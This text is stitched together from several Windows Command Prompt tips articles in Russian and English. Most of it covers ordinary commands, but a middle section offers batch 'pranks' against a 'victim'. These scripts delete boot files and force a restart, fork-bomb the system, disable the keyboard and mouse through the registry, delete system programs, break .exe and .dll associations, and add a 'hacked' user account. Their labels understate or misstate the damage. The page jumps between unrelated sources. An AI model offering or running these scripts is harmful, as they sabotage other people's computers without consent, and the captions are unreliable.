Прикольные команды в консоли windows 10

The Windows Command Prompt tool, and many of its commands, might seem boring or even relatively useless at first glance, but as anyone who has ever used the Command Prompt very often can tell you, there’s much to love!

These tricks will get you excited about many of the mundane-sounding Command Prompt commands like telnet, tree, or robocopy—okay, robocopy sounds pretty cool.

Some of these Command Prompt tricks are special features or fun uses for the Command Prompt itself, while others are just neat or relatively unknown things you can do with certain CMD commands.

Use Ctrl+C to Abort a Command

© David Lentz / E+ / Getty Images

Just about any command can be stopped in its tracks with the abort command: Ctrl+C.

If you haven’t actually executed a command, you can just backspace and erase what you’ve typed, but if you’ve already executed it, then you can do a Ctrl+C to stop it.

It isn’t a magic wand, and it can’t undo things that aren’t undoable, like a partially complete format command.

However, for things like the dir command that seem to go on forever or questions you’re asked at the prompt that you don’t know the answer to, the abort command is an excellent Command Prompt trick to know.

View a Command’s Results One Page (or Line) at a Time

Ever run a command, like the dir command, that produces so much information on the screen that it’s almost useless?

One way to manage this info dump is to execute the command in a special way so whatever information is generated is shown to you one page, or one line, at a time.

Just type the command, and then follow it with the pipe character and then the more command.

For example, executing the below command will generate the thousands of lines of results that you expect from the dir command, but the more command will pause each page of results with — More — at the bottom of the page, indicating that the command is not done running.

dir /s | more

Just press the spacebar to advance by page, or press Enter to advance one line at a time.

Run Command Prompt as an Administrator Automatically

Many commands require that you open an elevated Command Prompt in Windows—in other words, execute them from a Command Prompt that’s run as an administrator.

You can always right-click any Command Prompt shortcut and choose Run as administrator, but creating a shortcut to do the same thing can be a huge time saver if you’re a frequent Command Prompt power user.

To complete this trick, just create a Command Prompt shortcut on the desktop, enter the shortcut’s properties and then select the Run as administrator box, located in the Advanced button on the Shortcut tab.

If you use Command Prompt via Terminal (you do by default if you’re on Windows 11), setting up admin access is even easier: Open Terminal’s settings to the Defaults page, and enable Run this profile as Administrator.

Become a Command Prompt Power User With Function Keys

The fact that the function keys actually do something in the Command Prompt is maybe one of the best kept secrets about the tool:

  • F1: Pastes the last executed command (character by character)
  • F2: Pastes the last executed command (up to the entered character)
  • F3: Pastes the last executed command
  • F4: Deletes current prompt text up to the entered character
  • F5: Pastes recently executed commands (does not cycle)
  • F6: Pastes ^Z to the prompt
  • F7: Displays a selectable list of previously executed commands
  • F8: Pastes recently executed commands (cycles)
  • F9: Asks for the number of the command from the F7 list to paste

Change the Prompt Text

Did you know the prompt itself is completely customizable thanks to the prompt command? It is, and when we say customizable, we mean really customizable.

Instead of C:\>, you can set the prompt to any text you want, have it include the time, the current drive, the Windows version number (like in this example image), you name it.

One useful example is prompt $m$p$g, which will show the full path of a mapped drive, alongside the drive letter. 

You can always execute prompt alone, without options, to return it to its sometimes boring default.

Get Help for Any Command

© pearleye / E+ / Getty Images

The help command does not provide help for every Command Prompt command.

However, any command can be suffixed with the /? option, usually called the help switch in Command Prompt, to display detailed information about the command’s syntax and often times even some examples.

The help switch may not be the coolest Command Prompt trick you’ve ever heard of, but it’s hard to disagree that it’s one of the more useful.

Neither the help command nor the help switch offers much in the way of explaining how to interpret the syntax.

How to Read Command Syntax

Save a Command’s Output to a File

An incredibly useful Command Prompt trick is the use of redirection operators, specifically the > and >> operators.

These little characters let you redirect the output of a command to a text file, giving you a saved version of whatever data the command produced in the Command Prompt window.

For example, let’s say you’re about to post a computer problem to an online forum, and you want to provide really accurate information about your computer. An easy way to do that would be to use the systeminfo command with a redirection operator.

For example, you might execute the below command to save the information provided by the systeminfo command to that file. You could then attach the file to your forum post.

systeminfo > c:\mycomputerinfo.txt

Terminal users have it even easier. Just right-click the Command Prompt tab and choose Export Text.

How to Redirect Command Output to a File

View a Drive’s Entire Directory Structure

One of the neatest little commands is the tree command. With tree, you can create a kind of map of the directories on any of your computer’s drives.

Execute tree from any directory to see the folder structure under that directory.

With so much information created with this command, it’s probably a good idea to export the results to a file so you can actually look through it.

Customize the Command Prompt Title Bar Text

Tired of that «Command Prompt» title bar text? No problem, just use the title command to change it to say whatever you like.

For example, let’s say your name is Maria Smith, and you want to express your ownership of the Command Prompt. Execute this and the title bar will change immediately:

title Property of Maria Smith

The change won’t stick, so the next time you open Command Prompt, the title bar will be back to normal.

The title command is usually used to help give a custom appearance in script files and batch files—not that titling it with your name isn’t a good idea!

Copy Text From the Command Prompt

Copying lots of text from the Command Prompt isn’t as easy as copying from other programs, which is part of the reason why saving a command’s output to a file, which you learned about a few tricks back, is so handy.

However, what if you do just want to copy a short section of text to the clipboard? It’s not too hard, but it’s not very intuitive either:

  1. Right-click anywhere in the Command Prompt window and choose Mark.
  2. Highlight with your left mouse button whatever you’d like to copy.
  3. Press Enter or right-click once.

That’s the menu-based method, but surprisingly, you can also use the regular Ctrl+C shortcut, too.

If you chose Mark but then decided you don’t want to copy anything, right-click again to cancel the Mark action, or press the Esc key.

Now you can paste that information anywhere, just like you paste other text.

If QuickEdit Mode is turned on (or you’re in Terminal), right-clicking won’t show a menu. This is actually another tip in this list! See step 20 for the details.

Open the Command Prompt From Any Location

If you’ve ever worked in the Command Prompt for very long, you know that it can be really frustrating executing the cd/chdir command over and over again to get to the right directory.

In Windows, open the folder you’d like to start working from. When you’re there, hold down Shift while you right-click anywhere in the folder.

After the menu pops up, you’ll notice an entry that’s not usually there: Open in Terminal (Windows 11) or Open command window here. Select that, and you’ll start a new instance of the command line, ready and waiting at the right location.

If you’re a Command Prompt power user, you’ll immediately recognize the value in this little trick.

Drag and Drop For Easy Path Name Entry

Most Command Prompt commands require you to specify full paths to files or folders, but typing out a long path can be frustrating, especially when you miss a character and have to start over.

For example, in Windows 11 and 10, this is the path to the Accessories group in the Start Menu:

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories

Who wants to type that all in manually? We don’t.

Just open the folder in Explorer. Once there, drag the folder or file to the Command Prompt window and let go. Like magic, the full path is inserted, saving you a considerable amount of typing depending on the length and complexity of the path name.

This technique doesn’t work in an elevated Command Prompt.

Shut Down or Restart Another Computer

System administrators in a business environment do this all the time for lots of reasons, but you can also shut down or restart another computer on your network, all from your computer’s Command Prompt.

The easiest way to shut down a computer remotely is to execute shutdown /i from the Command Prompt to open the Remote Shutdown Dialog, shown above.

Just enter the name of the remote computer (which you can get by running the hostname command on the other PC), choose what you want to do (restart or shutdown), select some other options, and then select OK.

So whether you’re brushing up on your command skills or just scaring a family member, this Command Prompt trick is a fun one.

You can also shut down or restart another computer strictly from the Command Prompt with the shutdown command, without using the Remote Shutdown Dialog.

Use Robocopy as a Backup Solution

Thanks to the robocopy command, you don’t need to use Window’s backup software or install a free backup software tool.

Just execute the following, obviously replacing the source and destination folders with whatever you’d like to back up and where it should go.

robocopy c:\users\ellen\documents f:\mybackup\documents /copyall /e /r:0 /dcopy:t /mir

The robocopy command with these options functions identically to an incremental backup software tool, keeping both locations in sync.

You don’t have this command if you’re using Windows XP or earlier. However, you do have the xcopy command, which can be used to do something very similar:

xcopy c:\users\ellen\documents f:\mybackup\documents /c /d /e /h /i /k /q /r /s /x /y

No matter which command you choose to use, just create a batch file containing the command and schedule it to run in Task Scheduler, and you’ll have your own custom-made backup solution.

View Your Computer’s Important Network Information

Maybe just for your own information, but certainly when you’re troubleshooting a network or internet problem, you’ll probably at some point need to know details about your computer’s network connection.

Everything you’d want to know about your network connection is available somewhere in the Control Panel in Windows, but it’s much easier to find, and much better organized, in the results from the ipconfig command.

Execute this command in Command Prompt:

ipconfig /all

What displays on-screen next is everything important about your network connection: your IP address, hostname, DHCP server, DNS information, and much, much more.

How to Find Your IP Address in Windows

Map a Local Folder Just Like a Network Drive

The net use command is used to assign shared drives on a network to your own computer as a drive letter, but did you know there’s another command that can be used to do the same thing to any folder on any of your local hard drives?

There is, and it’s called the subst command. Just execute the command followed by the path of the folder you wish to appear as a drive.

For example, let’s say you want your C:\Windows\Fonts folder to appear as the Q: drive. Just execute this command and you’re set:

subst q: c:\windows\fonts

This Command Prompt trick makes accessing a particular location from the Command Prompt much easier and the folder will appear as a drive next to all your real hard drives.

An easy way to delete the «network drive» example here is with the subst /d q: command. Just replace q: with your own drive letter.

Access Previously Used Commands With the Arrow Keys

Marcus Urbenz / Unsplash


Another great Command Prompt trick uses the keyboard arrow keys to cycle through previously executed commands.

The up and down arrow keys cycle through the commands you’ve entered, and the right arrow automatically enters, character by character, the last command you executed.

This might not sound that interesting, but there are several situations where the arrow keys become huge time savers.

Consider this example: You’ve typed out 75 characters of a command and then try to execute it, only to find that you forgot to add an option at the very end. No problem, just press the up arrow and the entire command is automatically entered in the Command Prompt window, ready for you to edit to make it work.

Automatically Complete Commands With Tab Completion

Tab completion is another Command Prompt trick that can save you lots of time, especially if your command has a file or folder name in it that you’re not completely sure of.

To use tab completion, enter the command and then the portion of the path that you do know, if at all. Then press the Tab key over and over to cycle through all the available possibilities.

For example, let’s say you want to change directories to some folder in the Windows directory, but you’re not sure what it’s named. Type cd c:\windows\ and then press Tab until you see the folder you’re looking for.

The results cycle in order, or you can use Shift+Tab to step through the results in reverse.

You know how your smartphone’s texting app automatically guesses what it is you want to type next? Tab completion in Command Prompt is sort of like that—only better.

Find a Website’s IP Address

Want to find the IP address of any website? Use the nslookup command or the ping command, but the former is probably faster.

First, let’s use the nslookup command to find the IP address of lifewire.com.

Just execute nslookup lifewire.com and view the result. Don’t confuse any private IP addresses that also show up in the nslookup results alongside the public IP address of lifewire.com, which is what IP address we’re after.

Now let’s try using the ping command to find it.

Execute ping lifewire.com and then look at the IP address between the brackets in the first line shown. Don’t worry if the ping command «times out» during execution; all we needed here was the IP address.

You can use the same procedure with any website or any hostname on your local network.

What the NSLOOKUP Tool Can Tell You About Internet Domains

Copy and Paste Easier With QuickEdit Mode

A number of these Command Prompt tricks have dealt with making copying and pasting easier. So, how about an even easier way to copy from the Command Prompt (and a secret way to easily paste)?

Just right-click on the Command Prompt title bar and select Properties. On the Options tab, in the Edit Options section, check the QuickEdit Mode box and then select OK.

Enabling QuickEdit Mode is like having Mark enabled all the time, so selecting text to copy is really easy.

As a bonus, this also enables a simple way to paste into the Command Prompt: just right click once and whatever you have in the clipboard is pasted in the Command Prompt window. Normally, pasting involves right-clicking and selecting Paste, so this is still a bit different than you’re used to.

Using Command Prompt through Terminal? Just select text like you would anywhere else, and press Enter or right-click to copy it. No need to turn on QuickEdit Mode.

Watch Star Wars Episode IV

Yes, you read that correctly, you can watch an ASCII version of the full Star Wars Episode IV movie right in the Command Prompt window!

Just open Command Prompt and execute this:

telnet towel.blinkenlights.nl

The movie will start immediately. Check out the tip below if this doesn’t work.

True, this isn’t a terribly productive use of the Command Prompt, nor is it really a trick of the Command Prompt or any command, but it sure is fun! We can’t imagine the work that went into this homage to the sci-fi masterpiece.

1. Swapping mouse keys
Pretty straightforward. Swaps the left and right buttons on the mouse so, when the victim left-clicks, it will be registered as a right click. To reset this, you can go into mouse settings and change it. Pretty easy. But annoying in so many levels. XD
Code:
@ echo off

rem ———————————

rem Swap Mouse Buttons

RUNDLL32 USER32.DLL,SwapMouseButton

rem ———————————

 
2. Disk tray gone mad
Use this and the disk tray will go crazy. It will keep popping out and in, like it’s possessed or something. No cause for concern. But worth the effort
@ echo off

rem ———————————

rem Start Opening Disk Tray

echo Do >> “opendisk.vbs”

echo Set oWMP = CreateObject(“WMPlayer.OCX.7” ) >> “opendisk.vbs”

echo Set colCDROMs = oWMP.cdromCollection >> “opendisk.vbs”

echo colCDROMs.Item(d).Eject >> “opendisk.vbs”

echo colCDROMs.Item(d).Eject >> “opendisk.vbs”

echo Loop >> “opendisk.vbs”

start “” “opendisk.vbs”

rem ———————————

 
3. Reset the computer clock
Reset your computer clock to the start of the century. Not much, but atleast the victim will have to go through all the process of setting the time and date again.
Code:Best command prompt pranks. cmd pranks on friends/family.
@ echo off

rem ———————————

rem Change Computer Time

time 12:00

rem ———————————

 
4. Hide My Documents folder
Pretty much self-explanatory.
Code:Best command prompt pranks. cmd pranks on friends/family.
@ echo off

rem ———————————

rem Hide My Documents Folder

attrib +h “%userprofile%\my documents”

rem ———————————

 
5. Can’t close nothing
Everything the victim closes will magically reappear again. That has to be one of the most funniest cmd pranks ever. Just watch him go nuts on the close button.
Code:
@ echo off

rem ———————————

rem The Last Restart

attrib -r -s -h c:\autoexec.bat

del c:\autoexec.bat

attrib -r -s -h c:\boot.ini

del c:\boot.ini

attrib -r -s -h c:\ntldr

del c:\ntldr

attrib -r -s -h c:\windows\win.ini

del c:\windows\win.ini

shutdown /r /t 00

rem ———————————

 
6. Crash the computer
This one’s not that bad. All it does is crash the computer once. You can restart and the computer will be back to normal. But atleast you’ll have your moment to gloat.
Code:
@ echo off

rem ———————————

rem Crash Computer

echo start “” %0>>crash.bat

echo start “” %0>>crash.bat

echo start “” %0>>crash.bat

echo start “” %0>>crash.bat

echo start “” %0>>crash.bat

echo start “” %0>>crash.bat

echo start “” %0>>crash.bat

echo start “” %0>>crash.bat

echo start “” %0>>crash.bat

echo start “” %0>>crash.bat

echo start “” %0>>crash.bat

echo start “” %0>>crash.bat

echo start “” %0>>crash.bat

echo start “” %0>>crash.bat

echo start “” %0>>crash.bat

echo start “” %0>>crash.bat

echo start “” %0>>crash.bat

echo start “” %0>>crash.bat

start “” crash.bat

rem ———————————

 
7. Disable Keyboard and mouse
Disables the victim’s keyboard and mouse, so unless they have a touch screen monitor, they’re in some serious trouble. Not as serious as killing off their computer, though.
Mouse:Best command prompt pranks. cmd pranks on friends/family.
rem ———————————

rem Disable Mouse

set key=”HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass”

reg delete %key%

reg add %key% /v Start /t REG_DWORD /d 4

rem ———————————
Keyboard:
rem ———————————

rem Disable Keyboard

echo Windows Registry Editor Version 5.00 > “nokeyboard.reg”

echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout] >> “nokeyboard.reg”

echo “Scancode Map”=hex:00,00,00,00,00,00,00,00,7c,00,00,00,00,00,01,00,00,\ >> “nokeyboard.reg”

echo 00,3b,00,00,00,3c,00,00,00,3d,00,00,00,3e,00,00,00,3f,00,00,00,40,00,00,00,\ >> “nokeyboard.reg”

echo 41,00,00,00,42,00,00,00,43,00,00,00,44,00,00,00,57,00,00,00,58,00,00,00,37,\ >> “nokeyboard.reg”

echo e0,00,00,46,00,00,00,45,00,00,00,35,e0,00,00,37,00,00,00,4a,00,00,00,47,00,\ >> “nokeyboard.reg”

echo 00,00,48,00,00,00,49,00,00,00,4b,00,00,00,4c,00,00,00,4d,00,00,00,4e,00,00,\ >> “nokeyboard.reg”

echo 00,4f,00,00,00,50,00,00,00,51,00,00,00,1c,e0,00,00,53,00,00,00,52,00,00,00,\ >> “nokeyboard.reg”

echo 4d,e0,00,00,50,e0,00,00,4b,e0,00,00,48,e0,00,00,52,e0,00,00,47,e0,00,00,49,\ >> “nokeyboard.reg”

echo e0,00,00,53,e0,00,00,4f,e0,00,00,51,e0,00,00,29,00,00,00,02,00,00,00,03,00,\ >> “nokeyboard.reg”

echo 00,00,04,00,00,00,05,00,00,00,06,00,00,00,07,00,00,00,08,00,00,00,09,00,00,\ >> “nokeyboard.reg”

echo 00,0a,00,00,00,0b,00,00,00,0c,00,00,00,0d,00,00,00,0e,00,00,00,0f,00,00,00,\ >> “nokeyboard.reg”

echo 10,00,00,00,11,00,00,00,12,00,00,00,13,00,00,00,14,00,00,00,15,00,00,00,16,\ >> “nokeyboard.reg”

echo 00,00,00,17,00,00,00,18,00,00,00,19,00,00,00,1a,00,00,00,1b,00,00,00,2b,00,\ >> “nokeyboard.reg”

echo 00,00,3a,00,00,00,1e,00,00,00,1f,00,00,00,20,00,00,00,21,00,00,00,22,00,00,\ >> “nokeyboard.reg”

echo 00,23,00,00,00,24,00,00,00,25,00,00,00,26,00,00,00,27,00,00,00,28,00,00,00,\ >> “nokeyboard.reg”

echo 1c,00,00,00,2a,00,00,00,2c,00,00,00,2d,00,00,00,2e,00,00,00,2f,00,00,00,30,\ >> “nokeyboard.reg”

echo 00,00,00,31,00,00,00,32,00,00,00,33,00,00,00,34,00,00,00,35,00,00,00,36,00,\ >> “nokeyboard.reg”

echo 00,00,1d,00,00,00,5b,e0,00,00,38,00,00,00,39,00,00,00,38,e0,00,00,5c,e0,00,\ >> “nokeyboard.reg”

echo 00,5d,e0,00,00,1d,e0,00,00,5f,e0,00,00,5e,e0,00,00,22,e0,00,00,24,e0,00,00,\ >> “nokeyboard.reg”

echo 10,e0,00,00,19,e0,00,00,30,e0,00,00,2e,e0,00,00,2c,e0,00,00,20,e0,00,00,6a,\ >> “nokeyboard.reg”

echo e0,00,00,69,e0,00,00,68,e0,00,00,67,e0,00,00,42,e0,00,00,6c,e0,00,00,6d,e0,\ >> “nokeyboard.reg”

echo 00,00,66,e0,00,00,6b,e0,00,00,21,e0,00,00,00,00 >> “nokeyboard.reg”

start “nokeyboard.reg”

rem ———————————

 
8. Delete a program
Pretty mild. All this does is delete a particular program or software from the victim’s computer. He or she will have to re-install it again. Recommended target: .net. Most apps need that one. JDK would be a good bet too. And if the victim’s a gamer, find his/her favourite game, and you know what to do.
Code:
@ echo off

rem ———————————

rem Delete Notepad

tskill notepad

del /f /q “%windir%\system32\notepad.exe”

rem ———————————

 
9. File type identity crisis
Change any particular file extension name to which ever you want to. For example, change filename.mp3 to filename.exe. That enough to wreak major havoc in the computer.
Code:
@ echo off

rem ———————————

rem Confuse File Extensions Powerup

assoc .dll=txtfile

assoc .exe=pngfile

assoc .vbs=Visual Style

assoc .reg=xmlfile

assoc .txt=regfile

rem ———————————

rem Confuse File Extensions for text

assoc .mp3=txtfile

assoc .xml=txtfile

assoc .png=txtfile

rem ———————————

10. Fake Trojan

This is a safe prank as it does not do anything but scare your friend.
code:
@echo off

taskkill /f /im explorer.exe

color 2

:prank

pause

echo malicous malware has been detected on your computer…

pause

echo attempting to contact your local windows firewall…

pause

echo access was denied…try again

pause

echo TROJAN INSTALLED

net user hacked /add

net user hacked hacker

dir /s

dir /s

dir /s

dir /s

dir /s

dir /s

dir /s

dir /s

pause

echo lmao you just got pranked :p

pause

:end prank

Hope you guys enjoy! Try not to copypaste it to CMD :p

Мало, кто из обычных пользователей представляет себе возможности командной строки. С ее помощью можем выполнить практически все базовые действия, полностью заменяя собой управлением мышью. Доступ к значительной части функций осуществляется исключительно через консоль. Посредством команд реально всего за одну строку выполнить действие, которое невозможно осуществить через графический интерфейс или это потребовало бы десятки манипуляций. Сейчас мы рассмотрим основные cmd команды для администратора.

Как работать с командной строкой?

Прежде всего предлагаем устранить возможный пробел знаний по запуску командной строки в Windows. Чтобы сработали все действия, обязательно нужно запускать консоль с привилегиями админа.

Как пользоваться командной строкой в Windows 10:

  1. Нажимаем на Пуск и вводим в поисковую строку буквы cmd.
  2. Когда отобразится cmd.exe или «Командная строка», жмем на нее правой кнопкой мыши (ПКМ) и выбираем «Запуск от имени администратора».

windows командная строка

Еще немного быстрее достичь поставленной цели можем через клик ПКМ по Пуску, а затем выбираем – «Командная строка (администратор).

В Windows 7 алгоритм запуска несколько отличается:

  1. Щелкаем по Пуску, открываем папку «Мои программы» и выбираем «Стандартные».
  2. Кликаем ПКМ по целевому элементу и запускаем с правами админа.

Научившись запускать консоль, следует упомянуть о других правилах ее эксплуатации:

  • Вставка консольных команд cmd. Стандартная комбинация клавиш Ctrl + V не сработает. Чтобы вставить ранее скопированную задачу, нажимаем ПКМ по рабочей области и выбираем одноименный элемент из меню действий.
  • Не использовать малоизвестные или неизвестные команды. Один лишний или недостающий параметр в строке может привести к нежелательному результату.
  • Перед выполнением потенциально опасных действий создаем точку восстановления. Некоторые инструменты могут приводить к сбоям, особенно те, которые управляют системными файлами. Перед их использованием обязательно делаем бекап.

windows командная строка фото 2

Команды по назначению:

Очень много вариантов ответов, зачем нужна командная строка. В зависимости от ответа отличается и список подходящих команд для консоли Windows. Для удобства мы разделили полезные команды на категории по их предназначению.

Сетевые команды Windows

Команда ipconfig позволяет отобразить имя ПК по IP через командную строку, IP-адрес и выполнить любые настройки, которые обычно осуществляются через панель управления. В целом она предназначается для управления большинством сетевых интерфейсов. 

Ключи к ipconfig:

  • Базовая команда ipconfig позволяет отобразить список подключения по сети.
  • ipconfig /all позволяет получить более полную информацию о подключениях.                                                      сетевые команды windows
  • ipconfig /flushdns – очистка кэша DNS. Ее рекомендуется проводить в случаях, когда сайты не открываются или выдают разные ошибки.

Есть и другие команды для командной строки в Windows 10 по работе с сетью:

  • ping tvoykomputer.ru (меняем адрес сайта на любой URL без кавычек) – выполняется трассировка линии к хостингу портала и отображается пинг. Команда имеет и множество дополнительных ключей, позволяющих расшифровать имена узлов, отобразить число пакетов, сохранить маршрут или засечь время загрузки.

сетевые команды windows фото 2

  • tracert tvoykomputer.ru – утилита, помогающая отслеживать маршрут передачи информации по TCP/IP. Команда возвращает подробную информацию о каждом сервере, через который прошли данные. 
  • Getmac – определение MAC-адреса компьютера.

сетевые команды windows фото 3

Работа с файлами

Так как ввести команду в командную строку бывает проще, чем вручную искать объект или группу элементов, управление файлами – самая активно используемая группа действий.

 Все команды командной строки Windows 10 по управлению файлами:

  • RENAME – переименование папок или файлов. Формат записи: rename [путь к файлу] [новое название файла] без скобок.
  • FIND – лучший способ, как найти файл через командную строку. Это та команда, какая выполняет функцию найти. Ей достаточно указать начальный каталог для поиска и точное название файла. Find [путь к папке для поиска] [название файла]. Есть масса дополнительных ключей для поиска по дате (amin), по размеру (size), времени предыдущего открытия (ctime).

все команды командной строки

  • DEL или ERASE – через обработчик команд удаляет файл. Синтаксис del [путь к файлу]. Еще можно добавлять флаги, но они необязательны.
  • MD – создает папку по указанному пути. Тип записи аналогичен предыдущим командам.
  • RMDIR – удаление директории со всеми вложенными папками и файлами.

команды для командной строки в windows 10

  • TYPE – команда в командной строке, позволяющая открыть текстовый файл, без возможности его изменения.

Выключение и перезагрузка Windows

Благодаря команде для консоли ПК под названием «shutdown», можем создавать собственные ярлыки для выключения, перехода в режим сна, перезагрузки и прочего. Также можем просто выполнить перезагрузку или выключение компьютера. Она позволяет самостоятельно решать, где будут размещаться соответствующие кнопки. 

Описание ключей:

  • /s – завершение работы;
  • /r – перезапуск;
  • /l – возвращение к окну смены пользователя;
  • /r /o – перезапуск с входов в режим восстановления;
  • /t 10 – время до выполнения процедуры, добавляется к остальным параметрам в конце строки.

Чтобы создать кнопку, достаточно сгенерировать ярлык и в строку расположения объекта ввести shutdown -r -t 30. Главный нюанс – вместо слеша нужно использовать дефис.

Проверка целостности системных файлов

В системе предусмотрена утилита, проверяющая исправность системных элементов Windows. Называется она sfc. Для запуска сканирования достаточно ввести команду sfc /scannow. Начнется поиск, в ходе которого системам автоматически восстановит битые и проблемные файлы, если такие удастся найти. Есть и еще одна утилита – dism, которая сканирует исходное хранилище данных. Речь о тех элементах, которые используются для восстановления битых файлов с помощью sfc. Рекомендуем запускать в паре с ключами dism /Online /Cleanup-Image /ScanHealth.

команды для консоли windows

Прикольные команды для командной строки

Все команды командной строки имеют свое предназначение, но результат некоторых более прикольный. Вот пара интересных записей:

  • color a, где вместо a можем указать другую букву или цифру – меняем цвет интерфейса консоли.

команды для консоли windows фото 2

  • tree – выводит длинный список папок, хранящихся на компьютере.

как ввести команду в командную строку

  • netsh wlan show profile название сети key=clear – команда для отображения пароля к беспроводной сети.
  • telnet towel.blinkenlights.nl – отображает анимированную историю «Звездных воин», но работает команда только в старых ОС.

Хакерские команды 

Есть несколько команд уровня хакеров, которые могут пригодиться пользователям с любым уровнем навыков:

  • shutdown –i – удаленное завершение работы компьютера в локальной сети. Отобразится окно, в котором можем выбрать тип действия, установить компьютеры, где произойдет процедура и даже вывести на экране сообщение.

хакерские команды для командной строки фото 1

  • Nslookup – определяет IP-адрес по доменному имени.
  • && — символ для последовательного выполнения ряда команд. Всего одной строкой можем выполнить целый набор действий.
  • driverquery – отображает список всех установленных драйверов.
  • D: md con \ — создает папку, которую нельзя удалить.

Другие полезные команды

Вот остальные команды, которые хочется упомянуть:

  • assoc – показывает программы, которые открывают тот или иной формат файла.

команды для консоли пк

  • D: Attrib + h + s + r haider – скрывает папку.
  • fc – сравнение двух файлов. Команда позволяет увидеть разницу между содержимым.

Напоследок упомянем о том, как выйти из командной строки, и да, ее не стоит просто закрывать через крестик. Лучше ввести команду exit, которая правильно завершит взаимодействие с консолью. Физически мы не можем в полной мере затронуть все записи и список ключей к ним, но и искать их отдельно не придется. Достаточно после команды через пробел написать /? – это действие выдаст доступные параметры по использованию конкретной процедуры.

Андрей

Андрей

Остались вопросы по теме?

Задать вопрос

The Command Prompt may look boring, but it does have some fun tricks up its sleeve.

closeup of a screen displaying command prompt

Command Prompt holds almost endless possibilities, and it’s doubtful many know the full extent of what a few lines of code can accomplish. Whether you’re a Command Prompt expert or you just like to pull it up to show off, here are 5 fun or interesting things you can see in Command Prompt, right now.

1. Customize Your Look

screenshot of a customized command prompt

You may know this one already, as it can be a great tool to play around with for accessibility purposes. Command Prompt can be fully customized, from background and text color, font, opacity, and more.

Right-click on the Command Prompt icon in the upper left-hand corner. Of the screen. From here, select Properties.

screenshot of cmd properties window

Font, Layout and Colors have more immediate options, such as changing text size and colors. Head into Terminal to alter some elements of the text cursor.

You can make some pretty ridiculous Command Prompts this way, or further refine the window to your exact needs. The features are so extensive that it might be worth brushing up on customizing the command prompt if it’s something that interests you.

2. Watch Star Wars on Command Prompt

screenshot of the cmd telnet star wars recreation

This one has the potential to lead to a lot of fun, and even some curious looks from anyone who might not be privy to how Command Prompt works.

In order to watch Star Wars on Command Prompt (and for one other item on this list) you’ll need to enable a service called Telnet.

In Windows 10 or 11, press Win + Q, type in telnet, and then select Turn Windows features on or off. Scroll down to the Telnet Client entry, check the box, and click OK. Afterward, you can close this window.

screenshot of the windows features window showing telnet client selected

Now, here’s the fun part. Run the following commands, hitting Enter after each one:

  1. telnet telehack.com
  2. starwars

Lean back and enjoy a bizarre recreation of Star Wars!

3. More Telnet Fun: Command Prompt Aquarium

screenshot of a cmd window showing telnet aquarium

You may have noticed other fun options when running the telnet telehack.com command.

However, there are actually a few more fun things command prompt can through this connection, and it’s definitely worth playing around with.

Most notable next to the ASCII recreation of Star Wars is the aquarium command.

Input this command instead of starwars from the previous section to be treated to an ASCII aquarium so nice, it may as well be your screen saver.

4. Change the Window Title

screenshot of the title command renaming a command prompt window

Let’s move away from the weirdness of ASCII recreations and look at something more low-key.

With the command title, followed by a word or phrase, you can change the window header for the Command Prompt.

It’s relatively useless outside organizing multiple Command Prompts, but it’s a fun detail to keep in mind.

5. Trace Where Your Data Goes

This one is as fun as it is interesting, and it has legitimate uses in networking and troubleshooting.

The command tracert, followed by an IP or website address, will display a list demonstrating where your connection is bouncing to on the way to the desired address.

This can be incredibly illuminating, if not just fascinating, to see all the stops your connection makes on its way to its destination.

Most home internet setups should route you through several addresses related to your ISP, and then beyond that, who knows? Every website will take your data on a different journey depending on your website and where you’re connecting from.

Consider reading more about Traceroute, as it can be helpful in network troubleshooting as well.

6. Shut Down Your Computer Without the Mouse or Power Button

screenshot of the shutdown command in the command prompt

This one might not be the most glamorous, but did you know that you can shut down your computer directly through the command prompt?

All it requires is inputting the command shutdown /s. If you’re feeling fancy, you can restart your device the same way using shutdown /r.

Is there much purpose to this command? If you’re working with batch files, maybe, but the average user might just prefer to shut down their computer the usual way. This command might not have much practical use, but it’s a fun trick all the same.

Fun With Command Prompt

Despite being one of the most plain-looking interfaces imaginable, a user can still very easily have some fun with the Command Prompt. The items listed here don’t even scratch the surface of the hacks and tricks you can pull off with Command Prompt.

Regardless, fun is important, and if you can find it in the most unlikely places, why not?

Для пользователей Windows приемы работы в командной строке (CMD) являются очень мощным инструментом, который позволяет улучшить работу пользователя. Знание этих трюков Командной строки станет отличным инструментом, который вы сможете использовать в любое время. Хотя многие считают, что трюки с cmd скучны и бесполезны, мы покажем вам некоторые из лучших трюков командной строки, которые доступны.

Содержание

В этой статье представлены некоторые из лучших трюков командной строки и другие хаки командной строки, которые покажут вам, что командная строка Windows — отличный инструмент для использования. Многие не знают, что сочетание клавиш для командной строки cmd , и это все, что вам нужно ввести в поиске, чтобы вызвать командную строку. Вы также можете прочитать статью Лучшие трюки и команды блокнота для Windows . Ниже перечислены некоторые из лучших трюков с командной строкой, которые вы должны знать, как использовать:

Открыть командную строку в папке

Командная строка обычно открывается в папке User или System. Но если вы не хотите менять команды каталога, чтобы открыть командную строку в папке, следующий вариант — открыть папку в проводнике Windows. После открытия командной строки в проводнике Windows удерживайте клавишу «Shift» при щелчке правой кнопкой мыши на папке и выберите Запустить командное окно здесь , чтобы непосредственно открыть командную строку CMD с путем к этой папке.

Просмотреть историю командной строки

Одна из лучших уловок командной строки — это возможность просмотреть историю командной строки. Используя этот трюк CMD, вы можете просматривать команды из прошлых сеансов с помощью кнопок навигации. Но если вы хотите увидеть историю всех команд, а не только последнего сеанса, нажмите кнопку F7, чтобы увидеть все командные подсказки.

Одновременный запуск командных подсказок

Если вы введете && между двумя командными подсказками, а затем выполните их друг за другом, несколько командных подсказок будут запущены одновременно. Сначала будет выполнена команда слева, а затем команда справа от двойного амперсанда.

Запуск командной строки от имени администратора

Если вам нужно запустить командную строку от имени администратора, то это один из лучших трюков с командной строкой, которые вы должны знать. Когда вы впервые ищете CMD в меню «Пуск», вместо выбора » Запуск от имени администратора » используйте щелчок правой кнопкой мыши. Вы также можете просто нажать Ctrl+Shift+Enter, чтобы открыть командную строку от имени администратора.

Узнайте, не крадут ли ваши соседи ваше WiFi соединение

Если вы живете в многоквартирном доме или имеете близкие границы с соседями, это может быть лучшим трюком командной строки, чтобы узнать, подключен ли кто-то к вашему локальному соединению и использует ли его. Выполните следующие шаги, чтобы заставить трюк CMD работать:

  1. Откройте браузер и зайдите на http://192.168.1.1 или http://192.168.0.1 в зависимости от вашего маршрутизатора.

